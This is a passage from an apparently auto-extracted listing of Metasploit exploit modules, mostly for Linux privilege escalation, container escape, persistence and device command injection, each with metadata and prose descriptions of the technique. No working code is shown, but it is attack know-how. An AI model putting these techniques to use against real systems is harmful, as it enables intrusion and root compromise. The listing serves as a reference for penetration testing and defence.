  a weak implementation of a password derivation algorithm using the
device serial number.

  After exploitation, an attacker will be able to execute any command
as user `supervisor`.

End Exploit Number 343

Begin Exploit Number 344
       Name: Zyxel parse_config.py Command Injection
     Module: exploit/linux/http/zyxel_parse_config_rce
   Platform: Linux, Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2024-01-24

Payload information:

Description:
  This module exploits vulnerabilities in multiple Zyxel devices
including the VPN, USG and APT series.
  The affected firmware versions depend on the device module, see this
module's documentation for more details.

  Note this module was unable to be tested against a real Zyxel device
and was tested against a mock environment.
  If you run into any issues testing this in a real environment we
kindly ask you raise an issue in
  metasploit's github repository: https://github.com/rapid7/
metasploit-framework/issues/new/choose
```

```
End Exploit Number 344

Begin Exploit Number 345
       Name: Zyxel Firewall ZTP Unauthenticated Command Injection
     Module: exploit/linux/http/zyxel_ztp_rce
   Platform: Unix, Linux
       Arch: cmd, mips64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-04-28

Payload information:

Description:
  This module exploits CVE-2022-30525, an unauthenticated remote
  command injection vulnerability affecting Zyxel firewalls with zero
  touch provisioning (ZTP) support. By sending a malicious
setWanPortSt
  command containing an mtu field with a crafted OS command to the
  /ztp/cgi-bin/handler page, an attacker can gain remote command
execution
  as the nobody user.

  Affected Zyxel models are:

  * USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and
below
  * USG20-VPN and USG20W-VPN using firmware 5.21 and below
  * ATP 100, 200, 500, 700, 800 using firmware 5.21 and below

End Exploit Number 345

Begin Exploit Number 346
       Name: AlienVault OSSIM av-centerd Command Injection
     Module: exploit/linux/ids/alienvault_centerd_soap_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-05-05

Payload information:

Description:
  This module exploits a code execution flaw in AlienVault 4.6.1 and
  prior.  The vulnerability exists in the av-centerd SOAP web service,
  where the update_system_info_debian_package method uses perl
```

```
backticks
  in an insecure way, allowing command injection. This module has been
  tested successfully on AlienVault 4.6.0.

End Exploit Number 346

Begin Exploit Number 347
       Name: Snort Back Orifice Pre-Preprocessor Buffer Overflow
     Module: exploit/linux/ids/snortbopre
   Platform: Linux
       Arch: 
 Privileged: No
    License: BSD License
       Rank: Good
  Disclosed: 2005-10-18

Payload information:
  Space: 1073
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the Back Orifice
pre-processor module
  included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This
vulnerability could
  be used to completely compromise a Snort sensor, and would typically
gain an attacker
  full root or administrative privileges.

End Exploit Number 347

Begin Exploit Number 348
       Name: UoW IMAP Server LSUB Buffer Overflow
     Module: exploit/linux/imap/imap_uw_lsub
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2000-04-16

Payload information:
  Space: 964
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow in the 'LSUB'
  command of the University of Washington IMAP service.
  This vulnerability can only be exploited with a valid username
  and password.
```

```
End Exploit Number 348

Begin Exploit Number 349
       Name: ABRT raceabrt Privilege Escalation
     Module: exploit/linux/local/abrt_raceabrt_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-04-14

Payload information:

Description:
  This module attempts to gain root privileges on Linux systems with
  a vulnerable version of Automatic Bug Reporting Tool (ABRT)
configured
  as the crash handler.

  A race condition allows local users to change ownership of arbitrary
  files (CVE-2015-3315). This module uses a symlink attack on
  `/var/tmp/abrt/*/maps` to change the ownership of `/etc/passwd`,
  then adds a new user with UID=0 GID=0 to gain root privileges.
  Winning the race could take a few minutes.

  This module has been tested successfully on:

  abrt 2.1.11-12.el7 on RHEL 7.0 x86_64;
  abrt 2.1.5-1.fc19 on Fedora Desktop 19 x86_64;
  abrt 2.2.1-1.fc19 on Fedora Desktop 19 x86_64;
  abrt 2.2.2-2.fc20 on Fedora Desktop 20 x86_64;
  abrt 2.3.0-3.fc21 on Fedora Desktop 21 x86_64.

End Exploit Number 349

Begin Exploit Number 350
       Name: ABRT sosreport Privilege Escalation
     Module: exploit/linux/local/abrt_sosreport_priv_esc
   Platform: Linux
       Arch: x86, x64, armle, aarch64, ppc, mipsle, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-11-23

Payload information:

Description:
  This module attempts to gain root privileges on RHEL systems with
  a vulnerable version of Automatic Bug Reporting Tool (ABRT)
configured
  as the crash handler.

  `sosreport` uses an insecure temporary directory, allowing local
users
  to write to arbitrary files (CVE-2015-5287). This module uses a
symlink
  attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path
  in `/proc/sys/kernel/modprobe`, resulting in root privileges.

  Waiting for `sosreport` could take a few minutes.

  This module has been tested successfully on:

  abrt 2.1.11-12.el7 on RHEL 7.0 x86_64; and
  abrt 2.1.11-19.el7 on RHEL 7.1 x86_64.

End Exploit Number 350

Begin Exploit Number 351
       Name: AF_PACKET chocobo_root Privilege Escalation
     Module: exploit/linux/local/af_packet_chocobo_root_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2016-08-12

Payload information:

Description:
  This module exploits a race condition and use-after-free in the
  packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in
  the Linux kernel to execute code as root (CVE-2016-8655).

  The bug was initially introduced in 2011 and patched in 2016 in
version
  4.4.0-53.74, potentially affecting a large number of kernels;
however
  this exploit targets only systems using Ubuntu (Trusty / Xenial)
kernels
  4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as
  Linux Mint.

  The target system must have unprivileged user namespaces enabled,
  two or more CPU cores, and SMAP must be disabled.
  Bypasses for SMEP and KASLR are included. Failed exploitation
  may crash the kernel.

  This module has been tested successfully on

  Linux Mint 17.3 (x86_64);
  Linux Mint 18 (x86_64);
  Ubuntu 16.04 (x86_64); and
  Ubuntu 16.04.2 (x86_64).

End Exploit Number 351

Begin Exploit Number 352
       Name: AF_PACKET packet_set_ring Privilege Escalation
     Module: exploit/linux/local/af_packet_packet_set_ring_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2017-03-29

Payload information:

Description:
  This module exploits a heap-out-of-bounds write in the
packet_set_ring
  function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel
  to execute code as root (CVE-2017-7308).

  The bug was initially introduced in 2011 and patched in version
4.10.6,
  potentially affecting a large number of kernels; however this
exploit
  targets only systems using Ubuntu Xenial kernels 4.8.0 < 4.8.0-46,
  including Linux distros based on Ubuntu Xenial, such as Linux Mint.

  The target system must have unprivileged user namespaces enabled and
  two or more CPU cores.

  Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation
  may crash the kernel.

  This module has been tested successfully on Linux Mint 18 (x86_64)
  with kernel versions:

  4.8.0-34-generic;
  4.8.0-36-generic;
  4.8.0-39-generic;
  4.8.0-41-generic;
  4.8.0-42-generic;
  4.8.0-44-generic;
  4.8.0-45-generic.

End Exploit Number 352

Begin Exploit Number 353
       Name: Ansible Agent Payload Deployer
     Module: exploit/linux/local/ansible_node_deployer
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2017-06-12

Payload information:

Description:
  This exploit module creates an ansible module for deployment to
nodes in the network.
  It creates a new yaml playbook which copies our payload, chmods it,
then runs it on all
  targets which have been selected (default all).

End Exploit Number 353

Begin Exploit Number 354
       Name: Apport / ABRT chroot Privilege Escalation
     Module: exploit/linux/local/apport_abrt_chroot_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-03-31

Payload information:

Description:
  This module attempts to gain root privileges on Linux systems by
  invoking the default coredump handler inside a namespace
("container").

  Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are
  vulnerable, due to a feature which allows forwarding reports to
  a container's Apport by changing the root directory before loading
  the crash report, causing `usr/share/apport/apport` within the
crashed
  task's directory to be executed.
  Similarly, Fedora is vulnerable when the kernel crash handler is
  configured to change root directory before executing ABRT, causing
  `usr/libexec/abrt-hook-ccpp` within the crashed task's directory to
be
  executed.

  In both instances, the crash handler does not drop privileges,
  resulting in code execution as root.

  This module has been tested successfully on Apport 2.14.1 on
  Ubuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20
x86_64.

End Exploit Number 354

Begin Exploit Number 355
       Name: APT Package Manager Persistence
     Module: exploit/linux/local/apt_package_manager_persistence
   Platform: Linux, Unix
       Arch: cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1999-03-09

Payload information:

Description:
  This module will run a payload when the package manager is used. No
  handler is ran automatically so you must configure an appropriate
  exploit/multi/handler to connect. This module creates a pre-invoke
hook
  for APT in apt.conf.d. The hook name syntax is numeric followed by
text.


End Exploit Number 355

Begin Exploit Number 356
       Name: AddressSanitizer (ASan) SUID Executable Privilege
Escalation
     Module: exploit/linux/local/asan_suid_executable_priv_esc
   Platform: Linux
       Arch: x86, x64, armle, aarch64, ppc, mipsle, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-02-17
```

```
Payload information:

Description:
  This module attempts to gain root privileges on Linux systems using
  setuid executables compiled with AddressSanitizer (ASan).

  ASan configuration related environment variables are permitted when
  executing setuid executables built with libasan. The `log_path`
option
  can be set using the `ASAN_OPTIONS` environment variable, allowing
  clobbering of arbitrary files, with the privileges of the setuid
user.

  This module uploads a shared object and sprays symlinks to overwrite
  `/etc/ld.so.preload` in order to create a setuid root shell.

End Exploit Number 356

Begin Exploit Number 357
       Name: Autostart Desktop Item Persistence
     Module: exploit/linux/local/autostart_persistence
   Platform: Unix, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2006-02-13

Payload information:
  Avoid: 5 characters

Description:
  This module will create an autostart entry to execute a payload.
  The payload will be executed when the users logs in.


End Exploit Number 357

Begin Exploit Number 358
       Name: Bash Profile Persistence
     Module: exploit/linux/local/bash_profile_persistence
   Platform: Unix, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 1989-06-08

Payload information:
```

```
Description:
  This module writes an execution trigger to the target's Bash
profile.
  The execution trigger executes a call back payload whenever the
target
  user opens a Bash terminal. A handler is not run automatically, so
you
  must configure an appropriate exploit/multi/handler to receive the
callback.

End Exploit Number 358

Begin Exploit Number 359
       Name: blueman set_dhcp_handler D-Bus Privilege Escalation
     Module: exploit/linux/local/
blueman_set_dhcp_handler_dbus_priv_esc
   Platform: Linux
       Arch: x86, x64, armle, aarch64, ppc, mipsle, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-12-18

Payload information:

Description:
  This module attempts to gain root privileges by exploiting a Python
  code injection vulnerability in blueman versions prior to 2.0.3.

  The `org.blueman.Mechanism.EnableNetwork` D-Bus interface exposes
the
  `set_dhcp_handler` function which uses user input in a call to
`eval`,
  without sanitization, resulting in arbitrary code execution as root.

  This module has been tested successfully with blueman version 1.23
  on Debian 8 Jessie (x64).

End Exploit Number 359

Begin Exploit Number 360
       Name: Linux BPF doubleput UAF Privilege Escalation
     Module: exploit/linux/local/bpf_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2016-05-04
```

```
Payload information:

Description:
  Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF)
  does not properly reference count file descriptors, resulting
  in a use-after-free, which can be abused to escalate privileges.

  The target system must be compiled with `CONFIG_BPF_SYSCALL`
  and must not have `kernel.unprivileged_bpf_disabled` set to 1.

  Note, this module will overwrite the first few lines
  of `/etc/crontab` with a new cron job. The job will
  need to be manually removed.

  This module has been tested successfully on Ubuntu 16.04 (x64)
  kernel 4.4.0-21-generic (default kernel).

End Exploit Number 360

Begin Exploit Number 361
       Name: Linux BPF Sign Extension Local Privilege Escalation
     Module: exploit/linux/local/bpf_sign_extension_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2017-11-12

Payload information:

Description:
  Linux kernel prior to 4.14.8 contains a vulnerability in the
Berkeley
  Packet Filter (BPF) verifier. The `check_alu_op` function performs
  incorrect sign extension which allows the verifier to be bypassed,
  leading to arbitrary kernel read/write.

  The target system must be compiled with BPF support and permit
  unprivileged access to BPF with `kernel.unprivileged_bpf_disabled`
  not set to 1.

  This module has been tested successfully on:

  Debian 9.0 kernel 4.9.0-3-amd64;
  Deepin 15.5 kernel 4.9.0-deepin13-amd64;
  ElementaryOS 0.4.1 kernel 4.8.0-52-generic;
  Fedora 24 kernel 4.5.5-300.fc24.x86_64;
  Fedora 25 kernel 4.8.6-300.fc25.x86_64;
  Fedora 26 kernel 4.11.8-300.fc26.x86_64;
  Fedora 27 kernel 4.13.9-300.fc27.x86_64;
  Gentoo 2.2 kernel 4.5.2-aufs-r;
  Linux Mint 17.3 kernel 4.4.0-89-generic;
  Linux Mint 18.0 kernel 4.8.0-58-generic;
  Linux Mint 18.3 kernel 4.13.0-16-generic;
  Mageia 6 kernel 4.9.35-desktop-1.mga6;
  Manjero 16.10 kernel 4.4.28-2-MANJARO;
  Solus 3 kernel 4.12.7-11.current;
  Ubuntu 14.04.1 kernel 4.4.0-89-generic;
  Ubuntu 16.04.2 kernel 4.8.0-45-generic;
  Ubuntu 16.04.3 kernel 4.10.0-28-generic;
  Ubuntu 17.04 kernel 4.10.0-19-generic;
  ZorinOS 12.1 kernel 4.8.0-39-generic.

End Exploit Number 361

Begin Exploit Number 362
       Name: Cisco Prime Infrastructure Runrshell Privilege Escalation
     Module: exploit/linux/local/cpi_runrshell_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-12-08

Payload information:

Description:
  This modules exploits a vulnerability in Cisco Prime 
Infrastructure's runrshell binary. The 
  runrshell binary is meant to execute a shell script as root, but can 
be abused to inject 
  extra commands in the argument, allowing you to execute anything as 
root.

End Exploit Number 362

Begin Exploit Number 363
       Name: Cron Persistence
     Module: exploit/linux/local/cron_persistence
   Platform: Unix, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1979-07-01

Payload information:
  Avoid: 4 characters
```

```
Description:
  This module will create a cron or crontab entry to execute a
payload.
  The module includes the ability to automatically clean up those
entries to prevent multiple executions.
  syslog will get a copy of the cron entry.


End Exploit Number 363

Begin Exploit Number 364
       Name: Linux eBPF ALU32 32-bit Invalid Bounds Tracking LPE
     Module: exploit/linux/local/
cve_2021_3490_ebpf_alu32_bounds_check_lpe
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2021-05-11

Payload information:

Description:
  Linux kernels from 5.7-rc1 prior to 5.13-rc4, 5.12.4, 5.11.21, and
  5.10.37 are vulnerable to a bug in the eBPF verifier's verification
  of ALU32 operations in the scalar32_min_max_and function when
performing
  AND operations, whereby under certain conditions the bounds of a
  32 bit register would not be properly updated.

  This can be abused by attackers to conduct an out of bounds read
  and write in the Linux kernel and therefore achieve arbitrary
  code execution as the root user.

  The target system must be compiled with eBPF support and not have
  kernel.unprivileged_bpf_disabled set, which prevents unprivileged
  users from loading eBPF programs into the kernel. Note that if
  kernel.unprivileged_bpf_disabled is enabled this module can still be
  utilized to bypass protections such as SELinux, however the user
  must already be logged as a privileged user such as root.

End Exploit Number 364

Begin Exploit Number 365
       Name: 2021 Ubuntu Overlayfs LPE
     Module: exploit/linux/local/cve_2021_3493_overlayfs
   Platform: Linux
       Arch:
```

```
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2021-04-12

Payload information:

Description:
  This module exploits a vulnerability in Ubuntu's implementation of
overlayfs. The
  vulnerability is the result of failing to verify the ability of a
user to set the
  attributes in a running executable. Specifically, when Overlayfs
sends the set attributes
  data to the underlying file system via `vfs_setxattr`, it fails to
first verify the data
  by calling `cap_convert_nscap`.
  This vulnerability was patched by moving the call to
`cap_convert_nscap`
  into the `vfs_setxattr` function that sets the attribute, forcing
verification every time the
  `vfs_setxattr` is called rather than trusting the data was already
verified.

End Exploit Number 365

Begin Exploit Number 366
       Name: Microsoft OMI Management Interface Authentication Bypass
     Module: exploit/linux/local/cve_2021_38648_omigod
   Platform: Linux, Unix
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-09-14

Payload information:

Description:
  By removing the authentication exchange, an attacker can issue
requests to the local OMI management socket
  that will cause it to execute an operating system command as the
root user. This vulnerability was patched in
  OMI version 1.6.8-1 (released September 8th 2021).

End Exploit Number 366

Begin Exploit Number 367
       Name: Local Privilege Escalation in polkits pkexec
     Module: exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
   Platform: Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-01-25

Payload information:

Description:
  A bug exists in the polkit pkexec binary in how it processes 
arguments.  If
  the binary is provided with no arguments, it will continue to 
process environment
  variables as argument variables, but without any security checking.
  By using the execve call we can specify a null argument list and 
populate the
  proper environment variables.  This exploit is architecture 
independent.

End Exploit Number 367

Begin Exploit Number 368
       Name: Dirty Pipe Local Privilege Escalation via CVE-2022-0847
     Module: exploit/linux/local/cve_2022_0847_dirtypipe
   Platform: Linux
       Arch: x64, x86, armle, aarch64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-02-20

Payload information:

Description:
  This exploit targets a vulnerability in the Linux kernel since 5.8, 
that allows
  writing of read only or immutable memory.

  The vulnerability was fixed in Linux 5.16.11, 5.15.25 and 5.10.102.
  The module exploits this vulnerability by overwriting a suid binary 
with the
  payload, executing it, and then writing the original data back.

  There are two major limitations of this exploit: the offset cannot 
be on a page
  boundary (it needs to write one byte before the offset to add a 
reference to
  this page to the pipe), and the write cannot cross a page boundary.
  This means the payload must be less than the page size (4096 bytes).
```

```
End Exploit Number 368

Begin Exploit Number 369
       Name: Watch Queue Out of Bounds Write
     Module: exploit/linux/local/cve_2022_0995_watch_queue
   Platform: Linux
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2022-03-14

Payload information:

Description:
  This module exploits a vulnerability in the Linux Kernel's
watch_queue event
  notification system. It relies on a heap out-of-bounds write in
kernel memory.
  The exploit may fail on the first attempt so multiple attempts may
be needed.
  Note that the exploit can potentially cause a denial of service if
multiple
  failed attemps occur, however this is unlikely.

End Exploit Number 369

Begin Exploit Number 370
       Name: io_uring Same Type Object Reuse Priv Esc
     Module: exploit/linux/local/cve_2022_1043_io_uring_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2022-03-22

Payload information:

Description:
  This module exploits a bug in io_uring leading to an additional
put_cred()
  that can be exploited to hijack credentials of other processes.

  We spawn SUID programs to get the free'd cred object reallocated by
a
  privileged process and abuse them to create a SUID root binary
ourselves
  that'll pop a shell.
  The dangling cred pointer will, however, lead to a kernel panic as
soon as
  the task terminates and its credentials are destroyed. We therefore
detach
  from the controlling terminal, block all signals and rest in silence
until
  the system shuts down and we get killed hard, just to cry in vain,
seeing
  the kernel collapse.

  The bug affected kernels from v5.12-rc3 to v5.14-rc7.

  More than 1 CPU is required for exploitation.

  Successfully tested against Ubuntu 22.04.01 with kernel
5.13.12-051312-generic

End Exploit Number 370

Begin Exploit Number 371
       Name: Desktop Linux Password Stealer and Privilege Escalation
     Module: exploit/linux/local/desktop_privilege_escalation
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-08-07

Payload information:

Description:
  This module steals the user password of an administrative user on a
desktop Linux system
  when it is entered for unlocking the screen or for doing
administrative actions using
  PolicyKit. Then, it escalates to root privileges using sudo and the
stolen user password.
  It exploits the design weakness that there is no trusted channel for
transferring the
  password from the keyboard to the actual password verification
against the shadow file
  (which is running as root since /etc/shadow is only readable to the
root user). Both
  screensavers (xscreensaver/gnome-screensaver) and PolicyKit use a
component running under
  the current user account to query for the password and then pass it
to a setuid-root binary
  to do the password verification. Therefore, it is possible to inject
```

```
a password stealer
  after compromising the user account. Since sudo requires only the
user password (and not
  the root password of the system), stealing the user password of an
administrative user
  directly allows escalating to root privileges. Please note, you have
to start a handler
  as a background job before running this exploit since the exploit
will only create a shell
  when the user actually enters the password (which may be hours after
launching the exploit).
  Using exploit/multi/handler with the option ExitOnSession set to
false should do the job.


End Exploit Number 371

Begin Exploit Number 372
       Name: Diamorphine Rootkit Signal Privilege Escalation
     Module: exploit/linux/local/diamorphine_rootkit_signal_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-11-07

Payload information:

Description:
  This module uses Diamorphine rootkit's privesc feature using signal
  64 to elevate the privileges of arbitrary processes to UID 0 (root).

  This module has been tested successfully with Diamorphine from
`master`
  branch (2019-10-04) on Linux Mint 19 kernel 4.15.0-20-generic (x64).

End Exploit Number 372

Begin Exploit Number 373
       Name: Docker cgroups Container Escape
     Module: exploit/linux/local/docker_cgroup_escape
   Platform: Unix, Linux
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-02-04

Payload information:
```

```
Description:
  This exploit module takes advantage of a Docker image which has
either the privileged flag, or SYS_ADMIN Linux capability.
  If the host kernel is vulnerable, its possible to escape the Docker
image and achieve root on the host operating system.

  A vulnerability was found in the Linux kernel's
cgroup_release_agent_write in the kernel/cgroup/cgroup-v1.c function.
  This flaw, under certain circumstances, allows the use of the
cgroups v1 release_agent feature to escalate privileges
  and bypass the namespace isolation unexpectedly.

  More simply put, cgroups v1 has a feature called release_agent that
runs a program when a process in the cgroup terminates.
  If notify_on_release is enabled, the kernel runs the release_agent
binary as root. By editing the release_agent file,
  an attacker can execute their own binary with elevated privileges,
taking control of the system. However, the release_agent
  file is owned by root, so only a user with root access can modify
it.

End Exploit Number 373

Begin Exploit Number 374
       Name: Docker Daemon Privilege Escalation
     Module: exploit/linux/local/docker_daemon_privilege_escalation
   Platform: Linux
       Arch: x86, x64, armle, mipsle, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-06-28

Payload information:

Description:
  This module obtains root privileges from any host account with
access to the
  Docker daemon. Usually this includes accounts in the `docker` group.


End Exploit Number 374

Begin Exploit Number 375
       Name: Docker Privileged Container Escape
     Module: exploit/linux/local/docker_privileged_container_escape
   Platform: Linux
       Arch: x86, x64, armle, mipsle, mipsbe
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-07-17

Payload information:

Description:
  This module escapes from a privileged Docker container and obtains
root on the host machine by abusing the Linux cgroup notification on
release
  feature. This exploit should work against any container started with
the following flags: `--cap-add=SYS_ADMIN`, `--privileged`.

End Exploit Number 375

Begin Exploit Number 376
       Name: Docker Privileged Container Kernel Escape
     Module: exploit/linux/local/
docker_privileged_container_kernel_escape
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-05-01

Payload information:

Description:
  This module performs a container escape onto the host as the daemon
  user. It takes advantage of the SYS_MODULE capability. If that
  exists and the linux headers are available to compile on the target,
  then we can escape onto the host.

End Exploit Number 376

Begin Exploit Number 377
       Name: Docker Container Escape Via runC Overwrite
     Module: exploit/linux/local/docker_runc_escape
   Platform: Linux, Unix
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2019-01-01

Payload information:

Description:
  This module leverages a flaw in `runc` to escape a Docker container
  and get command execution on the host as root. This vulnerability is
  identified as CVE-2019-5736. It overwrites the `runc` binary with
the
  payload and wait for someone to use `docker exec` to get into the
  container. This will trigger the payload execution.

  Note that executing this exploit carries important risks regarding
  the Docker installation integrity on the target and inside the
  container ('Side Effects' section in the documentation).

End Exploit Number 377

Begin Exploit Number 378
       Name: Exim 4.87 - 4.91 Local Privilege Escalation
     Module: exploit/linux/local/exim4_deliver_message_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-06-05

Payload information:

Description:
  This module exploits a flaw in Exim versions 4.87 to 4.91
(inclusive).
  Improper validation of recipient address in deliver_message()
  function in /src/deliver.c may lead to command execution with root
privileges
  (CVE-2019-10149).

End Exploit Number 378

Begin Exploit Number 379
       Name: F5 Big-IP Create Admin User
     Module: exploit/linux/local/f5_create_user
   Platform: Unix, Linux, Python
       Arch: cmd, python
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2022-11-16

Payload information:

Description:
  This creates a local user with a username/password and root-level
  privileges. Note that a root-level account is not required to do
this,
  which makes it a privilege escalation issue.

  Note that this is pretty noisy, since it creates a user account and
  creates log files and such. Additionally, most (if not all)
  vulnerabilities in F5 grant root access anyways.

  Adapted from https://github.com/rbowes-r7/refreshing-mcp-tool/blob/
main/mcp-privesc.rb

End Exploit Number 379

Begin Exploit Number 380
       Name: glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation
     Module: exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-10-18

Payload information:

Description:
  This module attempts to gain root privileges on Linux systems by
abusing
  a vulnerability in the GNU C Library (glibc) dynamic linker.

  glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does
not
  properly restrict use of the LD_AUDIT environment variable when
loading
  setuid executables. This allows loading arbitrary shared objects
from
  the trusted library search path with the privileges of the suid
user.

  This module uses LD_AUDIT to load the libpcprofile.so shared object,
  distributed with some versions of glibc, and leverages arbitrary
file
  creation functionality in the library constructor to write a root-
owned
  world-writable file to a system trusted search path (usually /lib).
  The file is then overwritten with a shared object then loaded with
  LD_AUDIT resulting in arbitrary code execution.

  This module has been tested successfully on glibc version 2.11.1 on
  Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386.

  RHEL 5 is reportedly affected, but untested. Some glibc
```

```
distributions
  do not contain the libpcprofile.so library required for successful
  exploitation.

End Exploit Number 380

Begin Exploit Number 381
       Name: glibc '$ORIGIN' Expansion Privilege Escalation
     Module: exploit/linux/local/glibc_origin_expansion_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-10-18

Payload information:

Description:
  This module attempts to gain root privileges on Linux systems by 
abusing
  a vulnerability in the GNU C Library (glibc) dynamic linker.

  glibc `ld.so` versions before 2.11.3, and 2.12.x before 2.12.2 does 
not
  properly restrict use of the `LD_AUDIT` environment variable when 
loading
  setuid executables which allows control over the `$ORIGIN` library 
search
  path resulting in execution of arbitrary shared objects.

  This module opens a file descriptor to the specified suid executable 
via
  a hard link, then replaces the hard link with a shared object before
  instructing the linker to execute the file descriptor, resulting in
  arbitrary code execution.

  The specified setuid binary must be readable and located on the same
  file system partition as the specified writable directory.

  This module has been tested successfully on:

  glibc 2.5 on CentOS 5.4 (x86_64);
  glibc 2.5 on CentOS 5.5 (x86_64);
  glibc 2.12 on Fedora 13 (i386); and
  glibc 2.5-49 on RHEL 5.5 (x86_64).

  Some versions of `ld.so`, such as the version shipped with Ubuntu 
14,
  hit a failed assertion in `dl_open_worker` causing exploitation to
```

```
fail.

End Exploit Number 381

Begin Exploit Number 382
       Name: glibc 'realpath()' Privilege Escalation
     Module: exploit/linux/local/glibc_realpath_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2018-01-16

Payload information:

Description:
  This module attempts to gain root privileges on Linux systems by 
abusing
  a vulnerability in GNU C Library (glibc) version 2.26 and prior.

  This module uses halfdog's RationalLove exploit to exploit a buffer
  underflow in glibc realpath() and create a SUID root shell. The 
exploit
  has offsets for glibc versions 2.23-0ubuntu9 and 2.24-11+deb9u1.

  The target system must have unprivileged user namespaces enabled.

  This module has been tested successfully on Ubuntu Linux 16.04.3 
(x86_64)
  with glibc version 2.23-0ubuntu9; and Debian 9.0 (x86_64) with glibc
  version 2.24-11+deb9u1.

End Exploit Number 382

Begin Exploit Number 383
       Name: Glibc Tunables Privilege Escalation CVE-2023-4911 (aka 
Looney Tunables)
     Module: exploit/linux/local/glibc_tunables_priv_esc
   Platform: Linux, Unix
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-10-03

Payload information:

Description:
  A buffer overflow exists in the GNU C Library's dynamic loader ld.so
```

```
while processing the GLIBC_TUNABLES
